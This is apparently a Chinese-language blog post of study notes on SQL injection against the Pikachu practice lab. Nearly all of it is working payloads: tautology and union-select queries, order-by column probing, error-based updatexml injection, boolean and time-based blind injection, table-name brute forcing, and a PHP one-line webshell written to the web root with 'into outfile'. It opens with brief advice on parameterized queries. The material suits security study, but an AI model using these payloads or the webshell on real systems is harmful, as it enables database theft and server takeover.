D6 pikachu SQL Iuject(updatexml() extractvalue() floor() 盲注 based boolean baesd time 一句话木马 暴力破解)

避免的唯二方法

  • 不要创建包含外部数据的 SQL 语句。
  • 使用参数化 SQL 调用。

目录

首先

select a,b from c where id=1

xxx' or 1=1#'

xxxx%' or 1=1#

' 可以检测是否可以sql注入

a 'union select database(),user()## 通过union查询信息

a' order by 3#查看第三行 看到底有没有这些数据

updatexml() extractvalue() floor()

盲注

一句话木马

暴力破解


首先

很早就接触了SQL注入 对它还是买油兴趣的 一定要自己有兴趣才好 当时的感觉是 哇 竟然可以这样看数据 也太好了 所以这个兴趣一直也没有减弱 现在再来温习温习

select a,b from c where id=1

xxx' or 1=1#'

xxxx%' or 1=1#

' 可以检测是否可以sql注入

a 'union select database(),user()## 通过union查询信息

a' order by 3#查看第三行 看到底有没有这些数据

报错获取信息:是通过指定的函数来制造报错,从而从报错信息中获取设定的信息。
条件就是后台没有屏蔽数据库报错信息,在语法出现错误时,会输出在前端。

updatexml() extractvalue() floor()

updatexml():是mysql对xml文档数据进行查询和修改的XPATH函数
extractvalue():是mysql对xml文档进行数据进行查询和修改的XPATH函数
floor():是mysql中用来取整的函数

kobe' and updatexml(1,concat(0x7e,database()),0)#

盲注

之所以选择盲注 是因为后台和页面并不会提供相应的反应 所以自己得不到反馈 也就不知道是否已经进行了注入

based boolean:m没有报错信息 实惠显示0或1 再正确的输入下 输入and1=1/and1=2发现可以判断

由这个select ascii(substr(database(),1,1))>150;得
kobe' and ascii(substr(database(),1,1))=10#


baesd time:
基于时间的延迟
kobe'and if(substr(database(),1,1))='p',sleep(5),null)#

一句话木马


一种短小精悍的木马客户端 隐蔽性好 功能强大

前提条件:
需要知道远程目录 
需要远程目录有写权限 
需要数据库开始secure_file_priv

获取操作系统的权限:
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"


暴力破解


暴力破解表名和列名称:
kobe' and exists(select * from aa)#
boke' and exists(select * from users)#

sql流程

第一步 注入点探测

第二步 信息获取 获得预期的数据

第三步 获取权限 上传木马

1’ or 1=1#'

原本的意思是通过输入的id然后获得名字和姓氏

但是这么输入就是把原本id等于第一个1的数据输出出来,但是后面又由于含有or 因此,会输出所有的用户的数据

当不知道里面是什么内容的时候,运用sql语句中的like语法

xx%' or 1=1#' 从而也可以得到相同的结果

只查看表的信息有些局限性 因此想查看其他的数据 但是要符合数据库的语法 就要查看具体表格是几行几列的 所以使用order by 来查看一共有几行

因为表有几行 才能在自己写的时候写入几个 不然报错

可以使用 1' order by3#查看是否有第三行 类似的语句

由此可以断定此表只有两行

然后输入想查询的数据的语句 进行查询

a' union select database(),user()#

运用联合查询语句从而得到想要的信息

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值